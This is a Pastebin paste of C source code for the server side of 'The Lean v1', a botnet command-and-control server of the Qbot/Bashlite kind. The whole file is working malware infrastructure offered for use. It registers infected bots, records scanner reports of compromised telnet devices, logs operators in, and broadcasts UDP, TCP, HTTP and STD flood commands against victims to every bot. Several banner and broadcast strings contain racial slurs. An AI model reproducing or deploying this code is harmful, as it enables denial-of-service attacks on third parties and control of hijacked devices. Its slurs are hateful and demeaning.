AvengeVPS

Lean Botnet Serverside

Mar 7th, 2018
320
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 20.68 KB | None | 0 0
  1. /*
  2. ******************************************************
  3. * The Lean v1 *
  4. ******************************************************
  5.  
  6. ~| The Lean v1 Server Side |~
  7.  
  8. if you have this or see this DONT give this shit out
  9. this server side is private af
  10.  
  11. server side: @custombots/@qujaxx
  12.  
  13. */
  14. #include <stdio.h>
  15. #include <stdlib.h>
  16. #include <stdint.h>
  17. #include <inttypes.h>
  18. #include <string.h>
  19. #include <sys/types.h>
  20. #include <sys/socket.h>
  21. #include <netdb.h>
  22. #include <unistd.h>
  23. #include <time.h>
  24. #include <fcntl.h>
  25. #include <sys/epoll.h>
  26. #include <errno.h>
  27. #include <pthread.h>
  28. #include <signal.h>
  29. #include <arpa/inet.h>
  30. #define MAXFDS 1000000
  31. //////////////////////////////////
  32. struct login_info {
  33. char username[20];
  34. char password[20];
  35. };
  36. static struct login_info accounts[22];
  37. struct clientdata_t {
  38. uint32_t ip;
  39. char connected;
  40. } clients[MAXFDS];
  41. struct telnetdata_t {
  42. int connected;
  43. } managements[MAXFDS];
  44. struct args {
  45. int sock;
  46. struct sockaddr_in cli_addr;
  47. };
  48. static volatile FILE *telFD;
  49. static volatile FILE *fileFD;
  50. static volatile int epollFD = 0;
  51. static volatile int listenFD = 0;
  52. static volatile int OperatorsConnected = 0;
  53. static volatile int TELFound = 0;
  54. static volatile int scannerreport;
  55. //////////////////////////////////
  56. int fdgets(unsigned char *buffer, int bufferSize, int fd) {
  57. int total = 0, got = 1;
  58. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  59. return got;
  60. }
  61. void trim(char *str) {
  62. int i;
  63. int begin = 0;
  64. int end = strlen(str) - 1;
  65. while (isspace(str[begin])) begin++;
  66. while ((end >= begin) && isspace(str[end])) end--;
  67. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  68. str[i - begin] = '\0';
  69. }
  70. static int make_socket_non_blocking (int sfd) {
  71. int flags, s;
  72. flags = fcntl (sfd, F_GETFL, 0);
  73. if (flags == -1) {
  74. perror ("fcntl");
  75. return -1;
  76. }
  77. flags |= O_NONBLOCK;
  78. s = fcntl (sfd, F_SETFL, flags);
  79. if (s == -1) {
  80. perror ("fcntl");
  81. return -1;
  82. }
  83. return 0;
  84. }
  85. static int create_and_bind (char *port) {
  86. struct addrinfo hints;
  87. struct addrinfo *result, *rp;
  88. int s, sfd;
  89. memset (&hints, 0, sizeof (struct addrinfo));
  90. hints.ai_family = AF_UNSPEC; /* Return IPv4 and IPv6 choices */
  91. hints.ai_socktype = SOCK_STREAM; /* We want a TCP socket */
  92. hints.ai_flags = AI_PASSIVE; /* All interfaces */
  93. s = getaddrinfo (NULL, port, &hints, &result);
  94. if (s != 0) {
  95. fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  96. return -1;
  97. }
  98. for (rp = result; rp != NULL; rp = rp->ai_next) {
  99. sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  100. if (sfd == -1) continue;
  101. int yes = 1;
  102. if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  103. s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  104. if (s == 0) {
  105. break;
  106. }
  107. close (sfd);
  108. }
  109. if (rp == NULL) {
  110. fprintf (stderr, "Could not bind\n");
  111. return -1;
  112. }
  113. freeaddrinfo (result);
  114. return sfd;
  115. }
  116. void broadcast(char *msg, int us, char *sender)
  117. {
  118. int sendMGM = 1;
  119. if(strcmp(msg, "PING") == 0) sendMGM = 0;
  120. char *wot = malloc(strlen(msg) + 10);
  121. memset(wot, 0, strlen(msg) + 10);
  122. strcpy(wot, msg);
  123. trim(wot);
  124. time_t rawtime;
  125. struct tm * timeinfo;
  126. time(&rawtime);
  127. timeinfo = localtime(&rawtime);
  128. char *timestamp = asctime(timeinfo);
  129. trim(timestamp);
  130. int i;
  131. for(i = 0; i < MAXFDS; i++)
  132. {
  133. if(i == us || (!clients[i].connected && (sendMGM == 0 || !managements[i].connected))) continue;
  134. if(sendMGM && managements[i].connected)
  135. {
  136. send(i, "\x1b[33m", 5, MSG_NOSIGNAL);
  137. send(i, sender, strlen(sender), MSG_NOSIGNAL); // Qujax: SS
  138. send(i, ": ", 2, MSG_NOSIGNAL);
  139. }
  140. printf("sent to fd: %d\n", i);
  141. send(i, msg, strlen(msg), MSG_NOSIGNAL);
  142. if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[37mType: ", 13, MSG_NOSIGNAL);
  143. else send(i, "\n", 1, MSG_NOSIGNAL);
  144. }
  145. free(wot);
  146. }
  147. void *BotEventLoop(void *useless) {
  148. struct epoll_event event;
  149. struct epoll_event *events;
  150. int s;
  151. events = calloc (MAXFDS, sizeof event);
  152. while (1) {
  153. int n, i;
  154. n = epoll_wait (epollFD, events, MAXFDS, -1);
  155. for (i = 0; i < n; i++) {
  156. if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN))) {
  157. clients[events[i].data.fd].connected = 0;
  158. close(events[i].data.fd);
  159. continue;
  160. }
  161. else if (listenFD == events[i].data.fd) {
  162. while (1) {
  163. struct sockaddr in_addr;
  164. socklen_t in_len;
  165. int infd, ipIndex;
  166.  
  167. in_len = sizeof in_addr;
  168. infd = accept (listenFD, &in_addr, &in_len);
  169. if (infd == -1) {
  170. if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  171. else {
  172. perror ("accept");
  173. break;
  174. }
  175. }
  176.  
  177. clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  178. int dup = 0;
  179. for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++) {
  180. if(!clients[ipIndex].connected || ipIndex == infd) continue;
  181. if(clients[ipIndex].ip == clients[infd].ip) {
  182. dup = 1;
  183. break;
  184. }}
  185. if(dup) {
  186. if(send(infd, "!* LOLNOGTFO\n", 13, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  187. close(infd);
  188. continue;
  189. }
  190. s = make_socket_non_blocking (infd);
  191. if (s == -1) { close(infd); break; }
  192. event.data.fd = infd;
  193. event.events = EPOLLIN | EPOLLET;
  194. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  195. if (s == -1) {
  196. perror ("epoll_ctl");
  197. close(infd);
  198. break;
  199. }
  200. clients[infd].connected = 1;
  201. send(infd, "!* SCANNER ON\n", 14, MSG_NOSIGNAL);
  202. }
  203. continue;
  204. }
  205. else {
  206. int datafd = events[i].data.fd;
  207. struct clientdata_t *client = &(clients[datafd]);
  208. int done = 0;
  209. client->connected = 1;
  210. while (1) {
  211. ssize_t count;
  212. char buf[2048];
  213. memset(buf, 0, sizeof buf);
  214. while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, datafd)) > 0) {
  215. if(strstr(buf, "\n") == NULL) { done = 1; break; }
  216. trim(buf);
  217. if(strcmp(buf, "PING") == 0) {
  218. if(send(datafd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; }
  219. continue;
  220. }
  221. if(strstr(buf, "REPORT ") == buf) {
  222. char *line = strstr(buf, "REPORT ") + 7;
  223. fprintf(telFD, "%s\n", line);
  224. fflush(telFD);
  225. TELFound++;
  226. continue;
  227. }
  228. if(strstr(buf, "PROBING") == buf) {
  229. char *line = strstr(buf, "PROBING");
  230. scannerreport = 1;
  231. continue;
  232. }
  233. if(strstr(buf, "REMOVING PROBE") == buf) {
  234. char *line = strstr(buf, "REMOVING PROBE");
  235. scannerreport = 0;
  236. continue;
  237. }
  238. if(strcmp(buf, "PONG") == 0) {
  239. continue;
  240. }
  241. printf("buf: \"%s\"\n", buf);
  242. }
  243. if (count == -1) {
  244. if (errno != EAGAIN) {
  245. done = 1;
  246. }
  247. break;
  248. }
  249. else if (count == 0) {
  250. done = 1;
  251. break;
  252. }
  253. if (done) {
  254. client->connected = 0;
  255. close(datafd);
  256. }
  257. }
  258. }
  259. }
  260. }
  261. }
  262. unsigned int BotsConnected() {
  263. int i = 0, total = 0;
  264. for(i = 0; i < MAXFDS; i++) {
  265. if(!clients[i].connected) continue;
  266. total++;
  267. }
  268. return total;
  269. }
  270. void *TitleWriter(void *sock) {
  271. int datafd = (int)sock;
  272. char string[2048];
  273. while(1) {
  274. memset(string, 0, 2048);
  275. sprintf(string, "%c]0;Xantexs Connected: %d | Niggas Connected: %d%c", '\033', BotsConnected(), OperatorsConnected, '\007');
  276. if(send(datafd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
  277. sleep(2);
  278. }}
  279. int Find_Login(char *str) {
  280. FILE *fp;
  281. int line_num = 0;
  282. int find_result = 0, find_line=0;
  283. char temp[512];
  284.  
  285. if((fp = fopen("login.txt", "r")) == NULL){
  286. return(-1);
  287. }
  288. while(fgets(temp, 512, fp) != NULL){
  289. if((strstr(temp, str)) != NULL){
  290. find_result++;
  291. find_line = line_num;
  292. }
  293. line_num++;
  294. }
  295. if(fp)
  296. fclose(fp);
  297. if(find_result == 0)return 0;
  298. return find_line;
  299. }
  300. void *BotWorker(void *sock) {
  301. int datafd = (int)sock;
  302. int find_line;
  303. OperatorsConnected++;
  304. pthread_t title;
  305. char buf[2048];
  306. char* username;
  307. char* password;
  308. memset(buf, 0, sizeof buf);
  309. char botnet[2048];
  310. memset(botnet, 0, 2048);
  311.  
  312. FILE *fp;
  313. int i=0;
  314. int c;
  315. fp=fopen("login.txt", "r");
  316. while(!feof(fp)) {
  317. c=fgetc(fp);
  318. ++i;
  319. }
  320. int j=0;
  321. rewind(fp);
  322. while(j!=i-1) {
  323. fscanf(fp, "%s %s", accounts[j].username, accounts[j].password);
  324. ++j;
  325. }
  326.  
  327. if(send(datafd, "\x1b[35mUsername: \x1b[37m ", 22, MSG_NOSIGNAL) == -1) goto end;
  328. if(fdgets(buf, sizeof buf, datafd) < 1) goto end;
  329. trim(buf);
  330. char* nickstring;
  331. sprintf(accounts[find_line].username, buf);
  332. nickstring = ("%s", buf);
  333. find_line = Find_Login(nickstring);
  334. if(strcmp(nickstring, accounts[find_line].username) == 0){
  335. if(send(datafd, "\x1b[35mPassword: \x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  336. if(fdgets(buf, sizeof buf, datafd) < 1) goto end;
  337. trim(buf);
  338. if(strcmp(buf, accounts[find_line].password) != 0) goto failed;
  339. memset(buf, 0, 2048);
  340. goto Banner;
  341. }
  342. failed:
  343. if(send(datafd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  344. char failed_line1[80];
  345.  
  346. sprintf(failed_line1, "\x1b[35mWRONG ANSWER BITCH!!\r\n");
  347. if(send(datafd, failed_line1, strlen(failed_line1), MSG_NOSIGNAL) == -1) goto end;
  348. sleep(5);
  349. goto end;
  350.  
  351. Banner:
  352. pthread_create(&title, NULL, &TitleWriter, sock);
  353. char ascii_banner_line1 [5000];
  354. char ascii_banner_line2 [5000];
  355. char ascii_banner_line3 [5000];
  356. char ascii_banner_line9 [5000];
  357. char welcome_line [80];
  358.  
  359. sprintf(ascii_banner_line1, "\x1b[35m****************************************************\r\n");
  360. sprintf(ascii_banner_line2, "\x1b[35m* \x1b[37mWelcome to The Lean v1 \x1b[35m *\r\n");
  361. sprintf(ascii_banner_line3, "\x1b[35m****************************************************\r\n");
  362. sprintf(ascii_banner_line9, "\r\n");
  363. sprintf(welcome_line, "\r\n\x1b[37m #\x1b[35m-------- \x1b[37mWelcome, %s\x1b[35m --------\x1b[37m#\r\n", accounts[find_line].username);
  364.  
  365. if(send(datafd, ascii_banner_line9, strlen(ascii_banner_line9), MSG_NOSIGNAL) == -1) goto end;
  366. if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  367. if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  368. if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  369. if(send(datafd, ascii_banner_line9, strlen(ascii_banner_line9), MSG_NOSIGNAL) == -1) goto end;
  370. while(1) {
  371. if(send(datafd, welcome_line, strlen(welcome_line), MSG_NOSIGNAL) == -1) goto end;
  372. if(send(datafd, "\x1b[37mType: ", 12, MSG_NOSIGNAL) == -1) goto end;
  373. break;
  374. }
  375. pthread_create(&title, NULL, &TitleWriter, sock);
  376. managements[datafd].connected = 1;
  377.  
  378. while(fdgets(buf, sizeof buf, datafd) > 0)
  379. {
  380. if(strstr(buf, "BOTS")) {
  381. char botcount [2048];
  382. memset(botcount, 0, 2048);
  383. sprintf(botcount, "[+] - Codeine: [\x1b[35m %d \x1b[37m] [+] - Niggas: [\x1b[35m %d \x1b[37m]\r\n", BotsConnected(), OperatorsConnected);
  384. if(send(datafd, botcount, strlen(botcount), MSG_NOSIGNAL) == -1) return;
  385. if(send(datafd, "\x1b[37mType: ", 12, MSG_NOSIGNAL) == -1) goto end;
  386. continue;
  387. }
  388. if(strstr(buf, "STATUS")){
  389. char statuscount [2048];
  390. memset(statuscount, 0, 2048);
  391. sprintf(statuscount, "[+] - Devices: [\x1b[35m %d \x1b[37m] [+] - Status: [\x1b[35m %d \x1b[37m]\r\n", TELFound, scannerreport);
  392. if(send(datafd, statuscount, strlen(statuscount), MSG_NOSIGNAL) == -1) return;
  393. if(send(datafd, "\x1b[37mType: ", 12, MSG_NOSIGNAL) == -1) goto end;
  394. continue;
  395. }
  396. if(strstr(buf, "HELP")) {
  397. pthread_create(&title, NULL, &TitleWriter, sock);
  398. char helpline1 [80];
  399. char helpline2 [80];
  400. char helpline3 [80];
  401. char helpline4 [80];
  402. char helpline5 [80];
  403. char helpline6 [80];
  404. char helpline7 [80];
  405. char helpline9 [80];
  406. char helpline11 [80];
  407. char helpline12 [80];
  408. char helpline13 [80];
  409. char helpline14 [80];
  410.  
  411. sprintf(helpline1, " \r\n\x1b[35m#\x1b[37m--- \x1b[35mCOMMANDS \x1b[37m---\x1b[35m#\r\n\r\n");
  412. sprintf(helpline2, " \x1b[37m- UDP - \x1b[35m!* UDP Victim Port Time 32 0 10\r\n");
  413. sprintf(helpline3, " \x1b[37m- TCP - \x1b[35m!* TCP Victim Port Time 32 all 0 10\r\n");
  414. sprintf(helpline4, " \x1b[37m- HTTP - \x1b[35m!* HTTP Url Time\r\n");
  415. sprintf(helpline5, " \x1b[37m- CNC - \x1b[35m!* CNC IP PORT TIME\r\n");
  416. sprintf(helpline7, " \x1b[37m- STD - \x1b[35m!* STD IP PORT TIME\r\n");
  417. sprintf(helpline9, " \x1b[37m- Bot Count - \x1b[35mBOTS\r\n");
  418. sprintf(helpline11, " \x1b[37m- Clear Screen - \x1b[35mCLEAR\r\n");
  419. sprintf(helpline12, " \x1b[37m- LOGOUT - \x1b[35mLOGOUT\r\n");
  420. sprintf(helpline13, " \x1b[37m- Kills Attack - \x1b[35mKILL\r\n");
  421. sprintf(helpline14, " \r\n");
  422.  
  423. if(send(datafd, helpline1, strlen(helpline1), MSG_NOSIGNAL) == -1) goto end;
  424. if(send(datafd, helpline2, strlen(helpline2), MSG_NOSIGNAL) == -1) goto end;
  425. if(send(datafd, helpline3, strlen(helpline3), MSG_NOSIGNAL) == -1) goto end;
  426. if(send(datafd, helpline4, strlen(helpline4), MSG_NOSIGNAL) == -1) goto end;
  427. if(send(datafd, helpline5, strlen(helpline5), MSG_NOSIGNAL) == -1) goto end;
  428. if(send(datafd, helpline6, strlen(helpline6), MSG_NOSIGNAL) == -1) goto end;
  429. if(send(datafd, helpline7, strlen(helpline7), MSG_NOSIGNAL) == -1) goto end;
  430. if(send(datafd, helpline9, strlen(helpline9), MSG_NOSIGNAL) == -1) goto end;
  431. if(send(datafd, helpline11, strlen(helpline11), MSG_NOSIGNAL) == -1) goto end;
  432. if(send(datafd, helpline12, strlen(helpline12), MSG_NOSIGNAL) == -1) goto end;
  433. if(send(datafd, helpline13, strlen(helpline13), MSG_NOSIGNAL) == -1) goto end;
  434. if(send(datafd, helpline14, strlen(helpline14), MSG_NOSIGNAL) == -1) goto end;
  435. pthread_create(&title, NULL, &TitleWriter, sock);
  436. if(send(datafd, "\x1b[37mType: ", 12, MSG_NOSIGNAL) == -1) goto end;
  437. continue;
  438. }
  439. if(strstr(buf, "ls")) {
  440. pthread_create(&title, NULL, &TitleWriter, sock);
  441. char ls1 [80];
  442. char ls2 [80];
  443. char ls3 [80];
  444. char ls4 [80];
  445. char ls5 [80];
  446. char ls6 [80];
  447.  
  448. sprintf(ls1, " \r\n\x1b[35m#\x1b[37m--- \x1b[35mMETHODS \x1b[37m---\x1b[35m#\r\n\r\n");
  449. sprintf(ls2, " \x1b[37m- UDP - \x1b[35m!* UDP Victim Port Time 32 0 10\r\n");
  450. sprintf(ls3, " \x1b[37m- TCP - \x1b[35m!* TCP Victim Port Time 32 all 0 10\r\n");
  451. sprintf(ls4, " \x1b[37m- HTTP - \x1b[35m!* HTTP Url Time\r\n");
  452. sprintf(ls5, " \x1b[37m- CNC - \x1b[35m!* CNC IP PORT TIME\r\n");
  453. sprintf(ls5, " \x1b[37m- STD - \x1b[35m!* STD IP PORT TIME\r\n");
  454.  
  455. if(send(datafd, ls1, strlen(ls1), MSG_NOSIGNAL) == -1) goto end;
  456. if(send(datafd, ls2, strlen(ls2), MSG_NOSIGNAL) == -1) goto end;
  457. if(send(datafd, ls3, strlen(ls3), MSG_NOSIGNAL) == -1) goto end;
  458. if(send(datafd, ls4, strlen(ls4), MSG_NOSIGNAL) == -1) goto end;
  459. if(send(datafd, ls5, strlen(ls5), MSG_NOSIGNAL) == -1) goto end;
  460. if(send(datafd, ls6, strlen(ls6), MSG_NOSIGNAL) == -1) goto end;
  461.  
  462. pthread_create(&title, NULL, &TitleWriter, sock);
  463. if(send(datafd, "\x1b[37mType: ", 12, MSG_NOSIGNAL) == -1) goto end;
  464. continue;
  465. }
  466.  
  467. if(strstr(buf, "KILL")) {
  468. char killattack [2048];
  469. memset(killattack, 0, 2048);
  470. sprintf(killattack, "!* KILLATTK\r\n");
  471. if(send(datafd, killattack, strlen(killattack), MSG_NOSIGNAL) == -1) goto end;
  472. if(send(datafd, "\x1b[37mType: ", 12, MSG_NOSIGNAL) == -1) goto end;
  473. continue;
  474. }
  475. if(strstr(buf, "CLEAR")) {
  476. char clearscreen [2048];
  477. memset(clearscreen, 0, 2048);
  478. sprintf(clearscreen, "\033[2J\033[1;1H");
  479. if(send(datafd, clearscreen, strlen(clearscreen), MSG_NOSIGNAL) == -1) goto end;
  480. if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  481. if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  482. if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  483. if(send(datafd, ascii_banner_line9, strlen(ascii_banner_line9), MSG_NOSIGNAL) == -1) goto end;
  484. while(1) {
  485. if(send(datafd, welcome_line, strlen(welcome_line), MSG_NOSIGNAL) == -1) goto end;
  486. if(send(datafd, "\x1b[37mType: ", 12, MSG_NOSIGNAL) == -1) goto end;
  487. break;
  488. }
  489. continue;
  490. }
  491. if(strstr(buf, "TOS")) {
  492. pthread_create(&title, NULL, &TitleWriter, sock);
  493. char tos1 [80];
  494. sprintf(tos1, "\r\n\x1b[35mTOS: \x1b[37mhttp://pastebin.com/hjzvS5dk\r\n\r\n");
  495.  
  496. if(send(datafd, tos1, strlen(tos1), MSG_NOSIGNAL) == -1) goto end;
  497. pthread_create(&title, NULL, &TitleWriter, sock);
  498. if(send(datafd, "\x1b[37mType: ", 12, MSG_NOSIGNAL) == -1) goto end;
  499. continue;
  500.  
  501. }
  502.  
  503. if(strstr(buf, "LOGOUT")) {
  504. char logoutmessage [2048];
  505. memset(logoutmessage, 0, 2048);
  506. sprintf(logoutmessage, "Bye, %s", accounts[find_line].username);
  507. if(send(datafd, logoutmessage, strlen(logoutmessage), MSG_NOSIGNAL) == -1)goto end;
  508. sleep(5);
  509. goto end;
  510. }
  511. trim(buf);
  512. if(send(datafd, "\x1b[37mType: ", 11, MSG_NOSIGNAL) == -1) goto end;
  513. if(strlen(buf) == 0) continue;
  514. printf("%s: \"%s\"\n",accounts[find_line].username, buf);
  515.  
  516. FILE *LogFile;
  517. LogFile = fopen("server.log", "a");
  518. time_t now;
  519. struct tm *gmt;
  520. char formatted_gmt [50];
  521. char lcltime[50];
  522. now = time(NULL);
  523. gmt = gmtime(&now);
  524. strftime ( formatted_gmt, sizeof(formatted_gmt), "%I:%M %p", gmt );
  525. fprintf(LogFile, "[%s] %s: %s\n", formatted_gmt, accounts[find_line].username, buf);
  526. fclose(LogFile);
  527. broadcast(buf, datafd, accounts[find_line].username);
  528. memset(buf, 0, 2048);
  529. }
  530. end:
  531. managements[datafd].connected = 0;
  532. close(datafd);
  533. OperatorsConnected--;
  534. }
  535. void *BotListener(int port) {
  536. int sockfd, newsockfd;
  537. socklen_t clilen;
  538. struct sockaddr_in serv_addr, cli_addr;
  539. sockfd = socket(AF_INET, SOCK_STREAM, 0);
  540. if (sockfd < 0) perror("ERROR opening socket");
  541. bzero((char *) &serv_addr, sizeof(serv_addr));
  542. serv_addr.sin_family = AF_INET;
  543. serv_addr.sin_addr.s_addr = INADDR_ANY;
  544. serv_addr.sin_port = htons(port);
  545. if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) perror("ERROR on binding");
  546. listen(sockfd,5);
  547. clilen = sizeof(cli_addr);
  548. while(1) {
  549. newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  550. if (newsockfd < 0) perror("ERROR on accept");
  551. pthread_t thread;
  552. pthread_create( &thread, NULL, &BotWorker, (void *)newsockfd);
  553. }}
  554. int main (int argc, char *argv[], void *sock)
  555. {
  556. signal(SIGPIPE, SIG_IGN);
  557. int s, threads, port;
  558. struct epoll_event event;
  559. if (argc != 4) {
  560. fprintf (stderr, "Usage: %s [port] [threads] [cnc-port]\n", argv[0]);
  561. exit (EXIT_FAILURE);
  562. }
  563. port = atoi(argv[3]);
  564. telFD = fopen("telnet.txt", "a+");
  565. threads = atoi(argv[2]);
  566. listenFD = create_and_bind (argv[1]);
  567. if (listenFD == -1) abort ();
  568. s = make_socket_non_blocking (listenFD);
  569. if (s == -1) abort ();
  570. s = listen (listenFD, SOMAXCONN);
  571. if (s == -1) {
  572. perror ("listen");
  573. abort ();
  574. }
  575. epollFD = epoll_create1 (0);
  576. if (epollFD == -1) {
  577. perror ("epoll_create");
  578. abort ();
  579. }
  580. event.data.fd = listenFD;
  581. event.events = EPOLLIN | EPOLLET;
  582. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  583. if (s == -1) {
  584. perror ("epoll_ctl");
  585. abort ();
  586. }
  587. pthread_t thread[threads + 2];
  588. while(threads--) {
  589. pthread_create( &thread[threads + 1], NULL, &BotEventLoop, (void *) NULL);
  590. }
  591. pthread_create(&thread[0], NULL, &BotListener, port);
  592. while(1) {
  593. broadcast("PING", -1, "NIGGER");
  594. sleep(60);
  595. }
  596. close (listenFD);
  597. return EXIT_SUCCESS;
  598. }
Add Comment
Please, Sign In to add comment